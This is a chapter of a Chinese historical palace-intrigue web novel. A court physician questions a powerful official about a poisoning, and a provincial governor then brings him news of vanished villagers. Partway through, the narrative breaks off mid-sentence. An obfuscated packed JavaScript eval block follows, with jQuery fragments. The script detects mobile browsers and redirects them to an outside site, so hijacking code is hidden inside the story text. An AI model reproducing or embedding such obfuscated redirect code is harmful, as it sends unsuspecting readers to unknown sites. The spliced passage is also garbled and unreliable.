义姁抱着药箱，麻不溜秋地爬起，掀开车帘躬身钻了进去，寻了个侧边的位子坐了下来。


    萧衍也并未主动开口说话，只是端坐在原地。狭小的车厢内，弥漫着他身上淡淡的沉香味，还夹杂着一丝若有若无的龙檀香。


    义姁一闻便知，他刚从建元帝处出来。


    这龙檀香乃西域特供，极其稀有罕见。本朝规制，唯有王室公侯方有资格享用。


    义姁先前在百草门时曾经闻过此香。她的师傅郑无空，也就是百草门门主，是战国扁鹊之后，出身医学大家，精通各类秘术疗法，十多年前先皇考在位时，他曾为东宫太子刘居治过病，获赐龙檀香。后来刘居起兵造反，他担心受其牵连祸及百草门，便将这龙檀香藏了起来。直至后来刘居被平，先皇考驾崩，新帝登基，朝中局势大变，才敢重新拿出这稀罕之香。


    如今崔皇后被夺权，软禁在椒房殿中。于崔家而言便是失去了后宫控制权。崔广定是火急火燎，煽动其党羽共同上书，逼迫建元帝复皇后之权。


    而中朝自创立初始，便是为了平衡外朝三公尤其是丞相的政治权利。作为中朝的中枢大司马大将军的萧衍，此时定会被皇帝所重用，来制衡崔家。


    如此种种，萧衍对其中的门道和真相定是了如指掌。如今她又发现了经文之事，便想从他口中套些话：“萧大人，长庆公主中毒一事...你觉得是皇后所为吗？”


    义姁此问，令萧衍微感意外。他饶有兴趣地睁开双眸，目光沉沉地落在她面上：“若非皇后所为，你如今还能平安坐在这里？如此结果，你还不满意？”


    义姁眉头微蹙，语气带着几分倔强：“此事本就不是我所为，何须他人为我顶罪。”


    “无论是你还是皇后，于陛下而言，不过一道圣旨的事。若是皇后，不过是褫夺凤印、幽居禁宫；若是你...”他眸光深邃，凝视着面前不服气的女子，一字一顿道：“便是死无葬身之地。”


    他的语气加重了许多，义姁低头沉默了片刻，正欲回话，马车猛地一颠，似是撞上硬物。她抱着药箱，整个人猝不及防地侧身飞向了一旁。


    车帘外传来车夫惶恐的声音：“大人赎罪！方才路上有石，避让不及！”


    义姁磕头磕得生疼，她抬眼之际，才发现自己竟撞到了萧衍的肩头上，忙尴尬地坐直身子，却见萧衍手心正捏着一方面纱，这才发觉自己面前已一片空荡。她心中一紧，忙以手掩面，侧过身去。


    萧衍却也没说什么。这面纱是方才磕碰之际落下，他顺势抓住而已，便又抬手放到她身旁，微微错开眼神。


    义姁听到动静，这才探出一只手去，重新戴好面纱。


    “你先前戴面纱吗？”萧衍突然问道。其实他想问的是她脸上的红疹，但话出口却变了样。


    义姁轻轻摇头，随意应了句：“不过是普通的过敏罢了。”话及此，她忽然想起合欢殿中的柏木柴，又问：“萧大人可知未央宫中何处长有柏树？”


    又担心自己这个问题太过于突然，便又补充道：“近来太医署柏子仁紧缺，就想着就近找找。”


    “你这药倒是缺的巧。”萧衍抬起头，缓缓道：“据本官所知，宫中最为稀罕的便是柏树。你若当真要，不妨趁这出宫的功夫，在宫外寻寻。”


    “为何？”义姁险些说出在合欢殿所见，好在及时忍住。


    萧衍语气淡淡，娓娓道来：“陛下昔日有位宠爱的柳氏，不似寻常女子惜花弄草，唯偏爱柏树。陛下便命人在她宫中遍植柏树。”


    “那宫中别处呢？”


    萧衍摇头：“整个未央宫，唯柳氏之宫而已。”


    义姁脑海中忽然浮现柳昭仪抚琴之景，她瞬间明白昭阳殿后院那些光秃树桩的由来。原来她烧的不只是柏树，更是往昔错付的恩宠与情义。


    她未曾想到，看似柔弱的柳昭仪，竟有这般果决心性，即便那个人是高高在上的帝王。


    可若宫中仅有合欢殿有柏树，那卷有毒的柏木经文又是谁的？柳昭仪恨皇帝负心，又为何要加害长庆公主？难道她当真是痛恨王婕妤争夺恩宠？


    见义姁低头缄默不语，萧衍率先打破沉默，语带调侃：“如何？可曾后悔那日在大殿之上拒了陛下？”


    “什么？”义姁蓦然抬首，思路被骤然打断，一时未及反应他所言何事。


    “若应了圣意，入了后宫成宠妃，金银珠玉唾手可得，何愁寻到不柏子仁？便是在宫中辟出圃，种满草药，怕也不是难事”


    义姁本以为萧衍这般年岁便位极人臣，见识应远超常人，却未料到他竟说出这般浅陋之语，一时难以分辨他是有意打趣，还是当真作此想。


    “后宫宠妃，表面风光无限，实则暗潮汹涌。且圣心难测，真心转瞬即逝，陛下的恩宠从不会长留给谁。与其被困深宫，与诸多女子共侍一夫，我倒宁愿与草药为伴。”


    听着这话，萧衍眸光微敛，眼底似有波澜暗生。“真心”二字于他而言，遥远且陌生。或许是久居官场，这身官服穿久了，身边之人从无提及此词。


    马车摇摇晃晃停在萧府门前。车夫恭敬吆喝了一声，义姁便随着萧衍下车，车夫旋即甩动马栓，驱马离去，唯留二人一高一低，立于萧府门前。


    这是义姁第一次站在萧府的大门前。府邸之宏大令她瞠目。绘有彩绘的双扇木制门厚重宽敞，微微敞开。正副门阙分立两侧，其上雕刻精美，引人注目。高大的门楼上，牌匾端正写着“萧府”二字。


    方才行经喧嚣市区，此刻此处却静谧非常。眼前府邸虽气势恢宏，却不似宫中宫殿那般奢华富丽，反倒透着一股古雅清寂之气。


    二人一前一后步入府邸。脚步踏在坚实平整的青砖之上，迎面是开阔庭院，两旁绿植环绕，草木清香扑鼻而来。唯一条青砖小径，蜿蜒向前，仿佛误入丛林深处。


    这般景致，与大司马大将军府邸应有的规制大不相同。义姁心中称奇，忍不住四下打量，忽见围墙之后，一颗柏树高大挺拔，枝叶繁茂，绿意盎然。


    因先前之事，她如今格外警觉，但凡见与柏树相关之物，便心生疑虑。可转念想到萧衍与王婕妤的关系，又暗自摇头，便将这念头压了下来。正思忖间，一佩刀黑衣男子大步而来。


    来人正是刑寂。


    他在萧衍身前站定，习惯性恭敬唤到：“大人”。目光忽触及后面的义姁，登时警惕，到嘴边的话又咽下。


    “但说无妨。”萧衍看出了他的戒备，直言道。


    “是。”刑寂应了一声，凑近要压低声音：“张常大人已至，正在书房等候。”


    萧衍眼中闪过一丝惊异之色，旋即又恢复如常，似对此早有预料，神情凝重几分，而后大步离去。


    望着萧衍匆匆离去的身影，义姁一脸茫然，尚未回神，刑寂已上前，面无表情冷冷说道：“大人有事在身，随我去客房稍后。”


    *****


    萧衍推开门、踏入书房的时候，张常正坐在塌席上，几大壶饮尽的水壶摆在面前。见萧衍进来，他本想起身迎接，可连日兼程赶至长安已让他精疲力竭，刚撑着案桌试图站起，便一个踉跄，险些跌坐回去。


    “张兄，你我之间就别讲究了。”萧衍大步流星，径直坐到张常对面。瞧着他因日夜赶路而疲惫不堪的模样，心中已有计较，沉声道：“可是为了翠竹村之事？”


    “正是。”张常重重颔首，又继续道：“自药人上次在翠竹村现身后，我便派人暗中监视。岂料前日得知，那些被派去的兄弟皆已殒命。”


    “死了？”萧衍眉头紧蹙。


    “不错。”张常长叹一口气，“那些兄弟与我同生共死多年，实在可怜。昨日我亲自前往翠竹村，你猜怎么着，那些疫后活下来的村民也都尽数消失不见。”


    他稍作停顿，又补充道：“上次疫病虽已治愈，可损失惨重。郡中从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644914|166220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银库拨了银钱助他们重建，许多屋子都已修缮的差不多，按说不该是举村搬迁。”


    萧衍神色凝重：“只怕是有人按捺不住了。”


    张常点头称是，随即又急切问道：“瑜之，我先前所写的奏章究竟是怎样了？你可曾送入宫中？且不论疫后重建所需银钱，药人重现一事关乎重大，朝廷当真无所举动？”


    此前萧衍离开河东郡时，身为河东郡守的张常曾亲手书写奏章，详述疫病实情与药人重现之事，恳请朝廷关注，派人深入调查，助河东郡受灾百姓重建家园。此奏章是由萧衍亲自带回长安，并送入宫中。


    可至今已有数月过去，朝廷并无任何动静。


    萧衍沉思半晌，方才道：“奏折是我亲手送入天禄阁，当时陛下并不在，是中常侍石恭在场。只怕在陛下过目前，已有人动手了。”


    “石恭？”张常微微一怔，回忆道：“当年我察举科第之时，曾见过他一面。那时他尚未及中常侍，只是受诏负责察举选官。他虽为宦官，却也算公正。举荐过不少清贫有才的寒门子弟。”


    顿了顿，他语气带上几分疑惑：“应当不至于阻拦这等关乎民生的重要奏章吧。”


    “张兄离京赴任已有数年，不知朝中局势变幻，”萧衍起身，往炭火盆里添了些柴火，继续道：“近年来陛下为制衡崔家，越发重用宦官。以石恭为首的宦官势力越发壮大，当年受他恩惠的寒门子弟，不少也与之结党。”


    “竟是这样，没想到我离京数载，已发生了这么多事。”张常忍不住感叹，神情凝重地沉默良久，又问道：“那陛下如今重用石恭，又待你如何？你一直辅佐陛下，若没有你，他早成了同废帝刘诃一样的傀儡。”


    萧衍拨弄了几下炭火盆中的炭火，起身，嘴角淡淡一晒，摊开双手：“尚可，还活着。”


    他坐回塌席上，心中明白，陛下表面虽待他如旧，但内心早已对他有了防备。


    张常与萧衍是多年至交，除了贴身侍卫刑寂，是唯一知晓萧衍身体状况的人。他此番来，除了告知翠竹村之事，更重要是探望萧衍的身子。


    “瑜之。你我身在朝堂，深知有些事情非你我所能掌控，尽力便好。你自己的身体才是重中之重。”


    萧衍淡淡一晒：“残躯一副罢了，如今能得一医女相助，让我这残年不至于太过痛苦，已是莫大幸运。”


    “哦？当真有这样的女子？”张常面露震惊，心中也替他欣喜，思索下提议道：“既如此，瑜之不妨将她留在身边，你这府邸也不至于如此冷清。”


    萧衍轻笑着摇了摇头，轻缀了一口杯中茶水：“我对她并无此意。况且她不同于寻常女子，是个有志向的人，何苦让我这残躯耽误了她。能得她医术相助，我已十分感念。”


    他放下水杯，看向对面的张常，打趣道：“倒是张兄比我年长，至今还无妻儿子女，倒是让瑜之着急。”


    张常长萧衍几岁，生的端庄板正，一脸的清正廉洁之态，就外貌而言，是朝中许多老臣心中的佳婿良选。况且他年少受察举为官，品行才能都是一流，若又能早早娶一朝中贵女为妻，定能平步青云，官运通达。


    可如今他已近而立之年，为官数载，至今也仍孤身一人。当年与张常同批的察举之子，大多早已官运亨通，娶妻生子，尽享天伦之乐。


    谈及婚娶成家之事，张常倒是豁达：“我在河东郡，上门说亲的人倒是不少。我虽远离长安，只是个无权无势的地方官，但为官任职，总无法脱离朝堂纷争。就像我此番来长安，也并非一路顺遂。我既无法苟且安逸，又不能保证所处之地绝对安全，若娶妻生子，只怕会给家人招来灾祸，倒不如孤身一人。”


    萧衍望着张常疲惫不堪的面容，忽瞥见他凌乱的衣襟之下几处不易察觉的刀伤，仿佛看见那个在刀光剑影中策马奔赴长安的身影。


    他沉声道：“张兄放心，翠竹村一事我会亲自处理。”